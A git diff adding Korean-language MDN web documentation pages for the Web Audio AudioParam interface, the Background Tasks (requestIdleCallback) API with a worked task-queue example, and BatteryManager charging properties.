connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+

See also

+ diff --git a/files/ko/web/api/audioparam/index.html b/files/ko/web/api/audioparam/index.html new file mode 100644 index 0000000000..009a3b7552 --- /dev/null +++ b/files/ko/web/api/audioparam/index.html @@ -0,0 +1,114 @@ +--- +title: AudioParam +slug: Web/API/AudioParam +tags: + - API + - Audio + - AudioParam + - Interface + - Reference + - Web Audio API +translation_of: Web/API/AudioParam +--- +
{{APIRef("Web Audio API")}}
+ +

The Web Audio API's AudioParam interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}). An AudioParam can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.

+ +

There are two kinds of AudioParam, a-rate and k-rate parameters:

+ + + +

Each {{domxref("AudioNode")}} defines which of its parameters are a-rate or k-rate in the spec.

+ +

Each AudioParam has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the AudioParam.value attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.

+ +

Properties

+ +

AudioParam Inherits properties from its parent, AudioNode.

+ +
+
{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}
+
Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the AudioParam.
+
{{domxref("AudioParam.maxValue")}} {{readonlyInline}}
+
Represents the maximum possible value for the parameter's nominal (effective) range. 
+
{{domxref("AudioParam.minValue")}} {{readonlyinline}}
+
Represents the minimum possible value for the parameter's nominal (effective) range. 
+
{{domxref("AudioParam.value")}}
+
Represents the parameter's current volume as a floating point value; initially set to the value of AudioParam.defaultValue. Though it can be set, any modifications happening while there are automation events scheduled — that is events scheduled using the methods of the AudioParam — are ignored, without raising any exception.
+
+ +

Methods

+ +

AudioParam Inherits methods from its parent, AudioNode.

+ +
+
{{domxref("AudioParam.setValueAtTime()")}}
+
Schedules an instant change to the value of the AudioParam at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given by the value parameter.
+
{{domxref("AudioParam.linearRampToValueAtTime()")}}
+
Schedules a gradual linear change in the value of the AudioParam. The change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endTime parameter.
+
{{domxref("AudioParam.exponentialRampToValueAtTime()")}}
+
Schedules a gradual exponential change in the value of the AudioParam. The change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endTime parameter.
+
{{domxref("AudioParam.setTargetAtTime()")}}
+
Schedules the start of a change to the value of the AudioParam. The change starts at the time specified in startTime and exponentially moves towards the value given by the target parameter. The exponential decay rate is defined by the timeConstant parameter, which is a time measured in seconds.
+
{{domxref("AudioParam.setValueCurveAtTime()")}}
+
Schedules the values of the AudioParam to follow a set of values, defined by an array of floating-point numbers scaled to fit into the given interval, starting at a given start time and spanning a given duration of time.
+
{{domxref("AudioParam.cancelScheduledValues()")}}
+
Cancels all scheduled future changes to the AudioParam.
+
{{domxref("AudioParam.cancelAndHoldAtTime()")}}
+
Cancels all scheduled future changes to the AudioParam but holds its value at a given time until further changes are made using other methods.
+
+ +

Examples

+ +

First, a basic example showing a {{domxref("GainNode")}} having its gain value set. gain is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;
+ +

Next, an example showing a {{ domxref("BiquadFilterNode") }} having some values set. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var biquadFilter = audioCtx.createBiquadFilter();
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#AudioParam', 'AudioParam')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioParam")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/background_tasks_api/index.html b/files/ko/web/api/background_tasks_api/index.html new file mode 100644 index 0000000000..ac982d3e55 --- /dev/null +++ b/files/ko/web/api/background_tasks_api/index.html @@ -0,0 +1,511 @@ +--- +title: Cooperative Scheduling of Background Tasks API +slug: Web/API/Background_Tasks_API +translation_of: Web/API/Background_Tasks_API +--- +
{{DefaultAPISidebar("Background Tasks")}}{{draft}}
+ +

Cooperative Scheduling of Background Tasks API (Background Tasks API 또는 간단하게 requestIdleCallback() API 라고도 부릅니다.) 는 user agnet가 자유 시간이 있다고 판단되면, 자동으로 실행될 작업을 대기열(queue tasks)에 넣을 수 있는 기능을 제공합니다.

+ +

Concepts and usage

+ +

웹 브라우저의 메인 스레드는 이벤트 루프를 중심으로 배치됩니다. 이 코드는 현재 표시중인 {{domxref("Document")}}에 대한 모든 대기중인 업데이트를 가져오고, 페이지에서 실행해야하는 모든 자바스크립트 코드를 실행하고, 입력 장치에서 이벤트를 받아들이고, 이를 받을 요소(엘리먼트)에 해당 이벤트를 전달(dispatch) 합니다. 또한 이벤트 루프는 운영 체제와의 상호작용, 브라우저 자체 유저 인터페이스에 대한 업데이트 등을 처리합니다. 이것은 매우 복잡한 코드 덩어리이며, 메인 자바스크립트 코드는 이 모든 스레드와 코드가 함께 바로 실행될 수 있습니다. 유저 인터페이스 변경이 메인 스레드에서만 가능하기 때문에, 대부분의 코드가 DOM을 변경할 수 있는 것은 아니지만 메인 스레드에서 실행되고 있습니다.

+ +

이벤트 처리 및 화면 업데이트는 유저가 성능 문제를 인식하는 가장 분명한 두 가지 부분입니다. 따라서 우리의 코드가 웹의 훌륭한 시민이되고, 이벤트 루프의 실행이 지연되는 것을 방지하는것이 중요합니다. 과거에는 최대한 효율적으로 코드를 작성하고, 가능한 많은 작업을 웹 워커(workers) 에게 맡기는 것 외에는 안정적으로 수행할 수 있는 방법이 없었습니다. {{domxref("Window.requestIdleCallback()")}}을 사용하면 브라우저의 이벤트 루프가 원활하게 실행되도록 보장하는데 적극적으로 참여할 수 있습니다. 또한 브라우저가 시스템에서 지연없이 안전하게 사용할 수 있는 시간을 코드에 알릴 수 있습니다. 그리고 주어진 한도 내에 있으면 사용자의 경험을 훨씬 향상 시킬 수 있습니다.

+ +

Getting the most out of idle callbacks

+ +

아이들 콜백(idle callbacks)은 코드를 이벤트 루프와 협력하여 시스템이 과도하게 작업하지 않고, 최대한의 잠재력을 발휘할 수 있도록 하기 위한 것입니다. 지연 또는 기타 성능 문제가 발생하는 경우, 이를 사용하는 방법에 대해 생각해볼 수 있습니다.

+ + + +

Falling back to setTimeout

+ +

Background Tasks API는 매우 새롭기 때문에, 우리의 코드가 아직 이 API를 지원하지 않는 브라우저에서 작동해야 하는 경우가 있을 수 있습니다. 우리는 {{domxref("WindowTimers.setTimeout()", "setTimeout()")}}을 fallback 옵션으로 사용하는 간단한 shim으로 그렇게 할 수 있습니다. 이것은 기능적으로 동일하지 않기 때문에 {{Glossary("polyfill")}}이 아닙니다. setTimeout()을 사용하면 유휴 기간(idle periods)을 사용할 수 없습니다. 하지만 대신에 가능한 경우 코드를 실행하여, 사용자가 성능 지연을 경험하지 못하도록 최대한 방지합니다.

+ +
window.requestIdleCallback = window.requestIdleCallback || function(handler) {
+  let startTime = Date.now();
+
+  return setTimeout(function() {
+    handler({
+      didTimeout: false,
+      timeRemaining: function() {
+        return Math.max(0, 50.0 - (Date.now() - startTime));
+      }
+    });
+  }, 1);
+}
+ +

{{domxref("Window.requestIdleCallback", "window.requestIdleCallback")}}이 선언되지 않았다면, 위와같이 만들어 줍니다. 함수는 우리의 코드가 호출 된 시간을 기록하는 것으로 시작합니다. 우리는 이것을 사용하여 {{domxref("IdleDeadline.timeRemaining()", "timeRemaining()")}}에 대해 shim에서 반환 한 값을 계산합니다.

+ +

그리고 나서 {{domxref("WindowTimers.setTimeout", "setTimeout()")}}을 호출하여, 우리의 requestIdleCallback() 구현에 전달 된 콜백을 실행하는 함수를 전달합니다. 이 콜백은 {{domxref("IdleDeadline")}}을 준수하는 객체로 전달됩니다. 이 객체는 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 false로 설정하고, {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드가  전달되어 콜백에 50 밀리초의 시간을 제공합니다. timeRemaining()이 호출될 때 마다 본래의 50밀리초에서 경과시간을 뺀 남은 시간을 결정합니다.

+ +

결과적으로, 우리의 shim이 현재 requestIdleCallback()처럼 지금 이벤트 루프에 남아있는 유휴 시간(idle time)의 양을 제한하지는 않습니다. 하지만 콜백을 적어도 패스당 50밀리초 이하의 실행시간으로 제한합니다.

+ +

{{domxref("Window.cancelIdleCallback", "cancelIdleCallback()")}}에 대한 shim 구현은 훨씬 간단합니다:

+ +
window.cancelIdleCallback = window.cancelIdleCallback || function(id) {
+  clearTimeout(id);
+}
+ +

cancelIdleCallback()이 선언되지 않은 경우, 이는 단순히 지정된 콜백 ID를 {{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}에 전달하는 메서드를 생성합니다.

+ +

이제 우리의 코드는 효율적이지는 않지만, Background Tasks API를 지원하지 않는 브라우저에서도 작동합니다.

+ +

Interfaces

+ +

Background Tasks API 는 단 하나의 새 인터페이스를 추가합니다:

+ +
+
{{domxref("IdleDeadline")}}
+
이 유형의 객체는 유휴 콜백(idle callback)에 전달되어 유휴 기간(idle period)이 지속되는 예상시간과, timeout 기간이 만료되어 콜백이 실행중인지 여부를 제공합니다.
+
+ +

{{domxref("Window")}} 인터페이스 또한 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}}, {{domxref("window.cancelIdleCallback", "cancelIdleCallback()")}} 이라는 새로운 두 메서드를 제공하는 API에 의해 확장되었습니다.

+ +

Example

+ +

이 예제에서는 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}}을 사용하여 브라우저가 유휴 상태인 시간 동안, 시간이 많이 걸리면서 우선 순위가 낮은 작업을 실행하는 방법을 살펴 보겠습니다. 또한 이 예제는 {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}}을 사용하여 문서 내용에 대한 업데이트를 예약하는 방법을 보여줍니다.

+ +

아래 예제에서는 HTML과 자바스크립트만 볼 수 있습니다. CSS는 이 기능을 이해하는데 특별히 중요하지 않아서, 표시하지 않습니다.

+ +

HTML content

+ +

우리가 성취하려는 것을 지향하기 위해 HTML을 살펴보겠습니다. 이것은 텍스트 출력을 표시하는데 사용되는 두 번째 메인 박스(ID "logBox")뿐만 아니라, 작업 진행 상황을 나타내는데 사용되는 박스(ID "Container")를 만듭니다. 이는 quantum filament tachyon emissions의 해독이 얼마나 걸릴지 알 수 없기 때문입니다.

+ +
<p>
+  Demonstration of using <a href="https://developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API">
+  cooperatively scheduled background tasks</a> using the <code>requestIdleCallback()</code>
+  method.
+</p>
+
+<div class="container">
+  <div class="label">Decoding quantum filament tachyon emissions...</div>
+  <progress id="progress" value="0"></progress>
+  <div class="button" id="startButton">
+    Start
+  </div>
+  <div class="label counter">
+    Task <span id="currentTaskNumber">0</span> of <span id="totalTaskCount">0</span>
+  </div>
+</div>
+
+<div class="logBox">
+  <div class="logHeader">
+    Log
+  </div>
+  <div id="log">
+  </div>
+</div>
+ +

progress box는 진행률을 나타내는 {{HTMLElement("progress")}} 요소(엘리먼트)를 사용합니다. 또한 진행률에 대한 정보를 숫자로 표시하며, 얼마나 변경이 되었는지 확인할 수 있는 label을 사용합니다. 또한 사용자가 데이터 처리를 시작하는데 사용하는 "Start" 버튼(ID "startButton")이 있습니다.

+ + + +

JavaScript content

+ +

이제 문서 구조가 정의되었으므로, 작업을 수행할 자바스크립트 코드를 작성하겠습니다.
+ 목표: 시스템이 유휴 상태일 때 마다 해당 기능을 실행하는 유휴 콜백과 함께, 함수를 호출하기 위한 요청을 큐에 추가할 수 있습니다.

+ +

Variable declarations

+ +
let taskList = [];
+let totalTaskCount = 0;
+let currentTaskNumber = 0;
+let taskHandle = null;
+
+ +

이 변수들은 처리 대기중인 태스크 리스트(task list)와, 태스크 큐(task queue) 및 실행에 대한 상태 정보를 관리하는데 사용합니다:

+ + + +
let totalTaskCountElem = document.getElementById("totalTaskCount");
+let currentTaskNumberElem = document.getElementById("currentTaskNumber");
+let progressBarElem = document.getElementById("progress");
+let startButtonElem = document.getElementById("startButton");
+let logElem = document.getElementById("log");
+
+ +

다음으로 우리는 상호작용할 필요가 있는 DOM 요소를 참조하는 변수를 선언합니다. 이 요소들은 다음과 같습니다:

+ + + +
let logFragment = null;
+let statusRefreshScheduled = false;
+
+ +

마지막으로 다른 항목에 대한 몇 가지 변수를 설정합니다:

+ + + + + +

Managing the task queue

+ +

다음으로 수행해야 할 태스크를 관리하는 방법을 알아보겠습니다. 우리는 아이들 콜백(idle callback) 기간 동안 시간이 허락하는대로, 태스크의 FIFO 큐를 생성함으로써 이를 수행할 것입니다.

+ +
Enqueueing tasks
+ +

첫째, 향후 실행을 위해 태스크를 큐에 넣는 함수가 필요합니다. 그 함수인 enqueueTask()는 다음과 같습니다: 

+ +
function enqueueTask(taskHandler, taskData) {
+  taskList.push({
+    handler: taskHandler,
+    data: taskData
+  });
+
+  totalTaskCount++;
+
+  if (!taskHandle) {
+    taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000 });
+  }
+
+  scheduleStatusRefresh();
+}
+
+ +

enqueueTask() 는 입력으로 두 개의 매개변수(parameter)를 허용합니다:

+ + + +

태스크를 큐에 넣기 위해 객체를 taskList 배열에 push 합니다. 객체는 각각 handler 와 data 라는 이름 아래에 taskHandler 와 taskData 값을 포함합니다. 그리고나서 대기열에 들어간 작업의 총 수를 반영하는 totalTaskCount를 증가시켜 나갑니다(태스크가 큐에서 제거될 때 우리는 그것을 감소시키지 않습니다).

+ +

다음으로 우리는 이미 유휴 콜백(idle callback)이 생성되었는지 확인합니다. 만약 taskHandle 이 0이면 아직 유휴 콜백이 없다는 것을 알기 때문에, {{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}을 호출하여 taskHandle 을 생성합니다. 이 함수는 runTaskQueue()라는 함수를 호출하도록 구성되어 있습니다. 그리고 이 함수는 1초의 timeout을 갖고있기 때문에, 사용 가능한 실제 유휴 시간이 없는 경우에도 초당1회 이상 실행됩니다.

+ +
Running tasks
+ +

유휴 콜백 핸들러인 runTaskQueue() 는 브라우저가 유휴 시간이 충분하다고 판단하거나, 1초의 timeout이 만료될 때 호출됩니다. 이 함수의 일은 대기열에 넣어진 태스크를 실행하는 것입니다.

+ +
function runTaskQueue(deadline) {
+  while ((deadline.timeRemaining() > 0 || deadline.didTimeout) && taskList.length) {
+    let task = taskList.shift();
+    currentTaskNumber++;
+
+    task.handler(task.data);
+    scheduleStatusRefresh();
+  }
+
+  if (taskList.length) {
+    taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000} );
+  } else {
+    taskHandle = 0;
+  }
+}
+
+ +

runTaskQueue()의 핵심은 계속되는 반복문입니다.  이 반복문은 taskList에 태스크가 있어야하고, 다음 두 조건 중 하나를 만족해야 합니다.
+ {{domxref("deadline.timeRemaining", "IdleDeadline.timeRemaining")}}을 검사하여 결정된 시간이 0 이상이거나 timeout이 한계에 도달하여 {{domxref("IdleDeadline.didTimeout", "deadline.didTimeout")}}이 참 이어야 합니다.

+ +

실행 시간이 있는 큐의 각 태스트에 대해 다음 작업을 수행합니다:

+ +
    +
  1. 큐에서 태스크 객체를 제거합니다.
  2. +
  3. currentTaskNumber 를 증가시켜서 우리가 실행한 태스크의 수를 추적합니다.
  4. +
  5. 태스크를 처리할 때 호출하는 task.handler에 태스크 데이터 객체(task.data)를 전달합니다.
  6. +
  7. 우리는 scheduleStatusRefresh()함수를 호출하여 진행 상황의 변화를 반영하도록 화면을 업데이트 합니다.
  8. +
+ +

시간이 다 되었을 때, 여전히 리스트에 태스크가 남아있다면 {{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}을 다시 호출하여, 다음에 유휴 시간이 있을 때 작업을 계속 처리할 수 있게 예약 합니다. 큐가 비어 있으면, taskHandle을 0으로 설정하여 콜백을 예약하지 않았음을 나타냅니다. 그러면 우리는 이제 enqueueTask()가 호출 된 다음에 콜백을 요청하는 방법을 알 수 있습니다.

+ +

Updating the status display

+ +

우리는 로그를 출력하고, 진행 상황을 document에 업데이트 하길 원합니다. 그러나 유휴 콜백 내에서 안전하게 DOM을 변경할 수는 없습니다. 대신 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 사용하여 브라우저에게 문의하도록 요청하여 안전할 때 디스플레이를 업데이트합니다.

+ +
Scheduling display updates
+ +

DOM 변경은 scheduleStatusRefresh()함수를 호출하여 예약합니다.

+ +
function scheduleStatusRefresh() {
+    if (!statusRefreshScheduled) {
+      requestAnimationFrame(updateDisplay);
+      statusRefreshScheduled = true;
+  }
+}
+
+ +

이것은 간단한 함수입니다. statusRefreshScheduled값을 확인하여 디스플레이 새로고침을 예약했는지 여부를 확인합니다. 만약 false 라면 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 호출하여 새로고침을 예약하고, 해당 작업을 처리하기 위해 updateDisplay() 함수를 호출합니다.

+ +
Updating the display
+ +

updateDisplay() 함수는 progress box의 내용과 로그를 그립니다. 다음 프레임을 렌더링하는 과정에서 변경 사항을 적용하기 위해, DOM이 안전한 상태인 경우 브라우저에서 호출합니다.

+ +
function updateDisplay() {
+  let scrolledToEnd = logElem.scrollHeight - logElem.clientHeight <= logElem.scrollTop + 1;
+
+  if (totalTaskCount) {
+    if (progressBarElem.max != totalTaskCount) {
+      totalTaskCountElem.textContent = totalTaskCount;
+      progressBarElem.max = totalTaskCount;
+    }
+
+    if (progressBarElem.value != currentTaskNumber) {
+      currentTaskNumberElem.textContent = currentTaskNumber;
+      progressBarElem.value = currentTaskNumber;
+    }
+  }
+
+  if (logFragment) {
+    logElem.appendChild(logFragment);
+    logFragment = null;
+  }
+
+  if (scrolledToEnd) {
+      logElem.scrollTop = logElem.scrollHeight - logElem.clientHeight;
+  }
+
+  statusRefreshScheduled = false;
+}
+ +

첫 번째로, 로그의 텍스트가 맨 아래로 스크롤되면 scrolledToEndtrue 로 설정됩니다. 그렇지 않으면 false로 설정됩니다. 우리는 이것을 사용하여 컨텐츠에 로그가 추가될 때 마다, 스크롤이 바닥에 유지되도록 스크롤 위치를 업데이트할지 여부를 결정합니다.

+ +

다음으로, 태스크가 큐에 들어간 경우 진행 상태 및 상태 정보를 업데이트 합니다.

+ +
    +
  1. 진행률 막대의 현재 최대 값이 지금 큐에 대기중인 태스크의 총 개수(totalTaskCount)와 다른 경우, 표시되는 전체 태스크 수(totalTaskCountElem)의 내용과 진행률 막대의 최대 값을 업데이트 합니다. 이 값은 적절하게 비례합니다.
  2. +
  3. 지금까지 처리 한 태스크의 수와 동일한 작업을 수행합니다. progressBarElem.value가 현재 처리중인 태스크 넘버(currentTaskNumber)와 다른 경우, 현재 처리중인 태스크와 진행 막대바의 현재 값을 업데이트하여 표시합니다.
  4. +
+ +

그런 다음, 로그에 추가되기를 기다리는 텍스트가 있는 경우(즉, logFragmentnull이 아닌 경우), {{domxref("Node.appendChild", "Element.appendChild()")}}를 사용하여 log 요소(엘리먼트)에 logFragment를 추가합니다. 그 후 logFragmentnull 로 설정하여 다시 추가하지 않도록합니다.

+ +

시작했을 때 로그가 끝까지 스크롤 되면, 우리는 여전히 로그를 확인할 수 있습니다. 그런 다음 statusRefreshScheduledfalse로 설정하여 새로고침을 처리했으며, 새 것을(태스크를) 요청하는것이 안전하다는 것을 표시합니다.

+ +

Adding text to the log

+ +

log() 함수는 지정된 텍스트를 로그에 추가합니다. DOM을 바로 수정하는것이 안전한지 아닌지 log() 함수가 호출될때 우리는 알지 못합니다. 때문에 업데이트가 안전할 때 까지 로그 텍스트를 캐싱합니다. 위의 updateDisplay() 코드에서, 애니메이션 프레임이 업데이트 될 때 실제로 로그 요소에 기록된 텍스트를 추가하는 코드를 찾을 수 있습니다.

+ +
function log(text) {
+  if (!logFragment) {
+      logFragment = document.createDocumentFragment();
+  }
+
+  let el = document.createElement("div");
+  el.innerHTML = text;
+  logFragment.appendChild(el);
+}
+
+ +

먼저, 지금은 존재하지 않는 logFragment라는 {{domxref("DocumentFragment")}}객체를 생성합니다. 이 요소는 메인 DOM 자체를 즉시 변경하지 않고, 요소를 삽입할 수 있는 pseudo-DOM 입니다.

+ +

그런 다음 새로운 {{HTMLElement("div")}} 요소를 만들고, 내용을 입력 text와 일치하도록 설정합니다. 그리고나서 logFragment에 있는 pseudo-DOM의 끝에 새 요소를 추가합니다. DOM에 대한 변경 때문에, logFragmentupdateDisplay()가 호출 될 때까지 로그 항목을 누적합니다.

+ +

Running tasks

+ +

이제 우리는 태스크 관리 및 출력 유지보수 코드를 완성했습니다. 실제로 작업을 완료하는 태스크를 실행하기 위한 설정을 시작할 수 있습니다.

+ +

The task handler

+ +

우리가 태스크 핸들러—즉, 태스크 객체의 handler 속성(property) 값으로 사용할 함수—로 사용할 함수는 logTaskHandler() 입니다. 이것은 각 태스크에 대한 로그에 많은 내용을 출력하는 간단한 함수입니다. 만약 우리가 원한다면, 우리의 어플리케이션에서 이 코드를 유휴 시간(idle time)동안 수행하는 작업으로 대체할 수 있습니다. 단지, DOM을 변경해야 하는 작업은 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 통해 처리해야한다는 것을 기억해야합니다.

+ +
function logTaskHandler(data) {
+  log("<strong>Running task #" + currentTaskNumber + "</strong>");
+
+  for (i=0; i<data.count; i+=1) {
+    log((i+1).toString() + ". " + data.text);
+  }
+}
+
+ +

The main program

+ +

사용자가 시작 버튼을 클릭하면 decodeTechnoStuff() 함수가 호출되며 모든것이 시작됩니다.

+ + + +
function decodeTechnoStuff() {
+  totalTaskCount = 0;
+  currentTaskNumber = 0;
+  updateDisplay();
+
+  let n = getRandomIntInclusive(100, 200);
+
+  for (i=0; i<n; i++) {
+    let taskData = {
+      count: getRandomIntInclusive(75, 150),
+      text: "This text is from task number " + (i+1).toString() + " of " + n
+    };
+
+    enqueueTask(logTaskHandler, taskData);
+  }
+}
+
+document.getElementById("startButton").addEventListener("click", decodeTechnoStuff, false);
+ +

decodeTechnoStuff()가 시작하면 totalTaskCount(현재까지 큐에 추가된 태스크의 수)의 값과 currentTaskNumber(현재 실행중인 태스크의 수) 값을 0으로 설정합니다. 그리고 updateDisplay()를 호출하여 "아직 아무일도 일어나지 않았습니다(nothing's happened yet)" 상태로 재설정합니다.

+ +

이 예제에서는 임의의 수의 태스크(100개에서 200개 사이)를 만듭니다. 이를 위해 우리는 {{jsxref("Math.random()")}}에 대한 문서에서 예제로 제공되는, getRandomIntInclusive() 함수를 사용하여 생성할 태스크 수를 얻습니다.

+ +

그런 다음 루프를 시작하여 실제 태스크를 만듭니다. 각 태스크마다 두 개의 속성(property)이 포함된 taskData객체를 만듭니다:

+ + + +

그러면 각 태스크는 enqueueTask()를 호출하여 대기열에 추가되고 logTaskHandler()가 핸들러 함수로 전달됩니다. 함수가 호출될 때 함수에 전달할 객체로 taskData 객체를 사용합니다.

+ +
+
+ +

Result

+ +

아래는 위 코드의 실제 작동 결과입니다. 사용해보고, 브라우저의 개발자 도구에서 사용하고, 코드에서도 직접 사용해 보세요.

+ +

{{ EmbedLiveSample('Example', 600, 700) }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Window.requestIdleCallback")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/batterymanager/charging/index.html b/files/ko/web/api/batterymanager/charging/index.html new file mode 100644 index 0000000000..711a305781 --- /dev/null +++ b/files/ko/web/api/batterymanager/charging/index.html @@ -0,0 +1,117 @@ +--- +title: BatteryManager.charging +slug: Web/API/BatteryManager/charging +translation_of: Web/API/BatteryManager/charging +--- +
{{APIRef("Battery API")}}
+ +

현재 배터리가 충전중인지를 나타내는 Boolean 값 입니다.

+ +

문법

+ +
var charging = battery.charging
+ +

charging 변수는 배터리가 충전 중인지의 여부를 가져옵니다. 충전중일경우 true. 이외에는 false 를 가리킵니다.

+ +

예제

+ +

HTML Content

+ +
<div id="charging">(charging state unknown)</div>
+ +

JavaScript Content

+ +
navigator.getBattery().then(function(battery) {
+
+    var charging = battery.charging;
+
+    document.querySelector('#charging').textContent = charging ;
+});
+ +

{{ EmbedLiveSample('Example') }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16")}}[1]
{{CompatNo}}25{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(40.0)}}{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile("16")}}[1]
{{CompatNo}}25[2]{{CompatNo}}{{CompatChrome(42.0)}}[2]
+
+ +

[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference dom.battery.enabled to true. Starting with Firefox 11.0, mozBattery is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provide support for the deprecated {{domxref("navigator.battery")}}.

+ +

[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to Infinity.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/batterymanager/chargingtime/index.html b/files/ko/web/api/batterymanager/chargingtime/index.html new file mode 100644 index 0000000000..7b823afb4b --- /dev/null +++ b/files/ko/web/api/batterymanager/chargingtime/index.html @@ -0,0 +1,74 @@ +--- +title: BatteryManager.chargingTime (배터리관리기 충전시간) +slug: Web/API/BatteryManager/chargingTime +tags: + - API + - Battery API + - 목적 + - 참조 +translation_of: Web/API/BatteryManager/chargingTime +--- +
{{obsolete_header}}
+ +

{{APIRef("Battery API")}}

+ +

몇 초 단위로, 배터리가 완전히 충전될 때까지 남은 시간량을 가리킵니다.

+ +
+

반환되는 시간이 정확하더라도, 개인정보보호 정책 사유로 브라우저들이 더 큰 간격(대개 15분)으로 시간량을 반올림합니다.

+
+ +
var time = battery.chargingTime
+ +

반환되는 중에, 건전지가 완전히 충전될 때까지 또는 이미 완전히 충전되어 있다면 0이 될 때까지  time 은 몇 초 뒤에 남게 되는 시간입니다. 이는 {{domxref("BatteryManager")}} object (객체),입니다. 배터리의 전류가 방전되어 있다면, 이 값은 Infinity, 즉 무한 값이 됩니다.

+ +

예제

+ +

HTML 콘텐츠

+ +
<div id="chargingTime">(charging time unknown)</div>
+
+ +

자바언어 콘텐츠

+ +
navigator.getBattery().then(function(battery) {
+
+   var time = battery.chargingTime;
+
+   document.querySelector('#chargingTime').textContent = battery.chargingTime;
+});
+
+ +

{{ EmbedLiveSample('Example', '100%', 30) }}

+ +

설명서

+ + + + + + + + + + + + + + + + +
사양 (설명)상태 (설명)관련 (설명)
{{SpecName("Battery API")}}{{Spec2("Battery API")}}최초 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.BatteryManager.chargingTime")}}

+ +

같이 보세요

+ + diff --git a/files/ko/web/api/batterymanager/dischargingtime/index.html b/files/ko/web/api/batterymanager/dischargingtime/index.html new file mode 100644 index 0000000000..c7165c7a52 --- /dev/null +++ b/files/ko/web/api/batterymanager/dischargingtime/index.html @@ -0,0 +1,71 @@ +--- +title: BatteryManager.dischargingTime (배터리관리기 방전시간) +slug: Web/API/BatteryManager/dischargingTime +translation_of: Web/API/BatteryManager/dischargingTime +--- +
{{obsolete_header}}
+ +
{{APIRef("Battery API")}}
+ +

몇 초 단위로, 배터리가 완전히 방전될 때까지 남은 시간량을 가리킵니다.

+ +
+

반환되는 시간이 정확하더라도, 개인정보보호 정책 사유로 브라우저들이 더 큰 간격(대개 15분)으로 시간량을 반올림합니다.

+
+ +

Syntax

+ +
var time = battery.dischargingTime
+ +

반환되는 중에, time 은 {{domxref("BatteryManager")}} object(객체)인 battery 가 완전히 방전되고 시스템이 중단되는 몇 초 뒤에 남게 되는 시간입니다.  배터리가 현재 방전되기보다 충전되거나 시스템이 남은 방전 시간을 보고할 수 없다면, 이 값은 무한 값입니다.

+ +

예제

+ +

HTML 콘텐츠

+ +
<div id="dischargingTime">(discharging time unknown)</div>
+
+ +

자바언어 콘텐츠

+ +
navigator.getBattery().then(function(battery) {
+
+    var time = battery.dischargingTime;
+
+    document.querySelector('#dischargingTime').textContent = battery.dischargingTime;
+});
+
+ +

{{ EmbedLiveSample('Example', '100%', 30) }}

+ +

설명서

+ + + + + + + + + + + + + + + + +
사양 (설명)상태 (설명)비고
{{SpecName("Battery API")}}{{Spec2("Battery API")}}최초 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.BatteryManager.dischargingTime")}}

+ +

같이 보세요

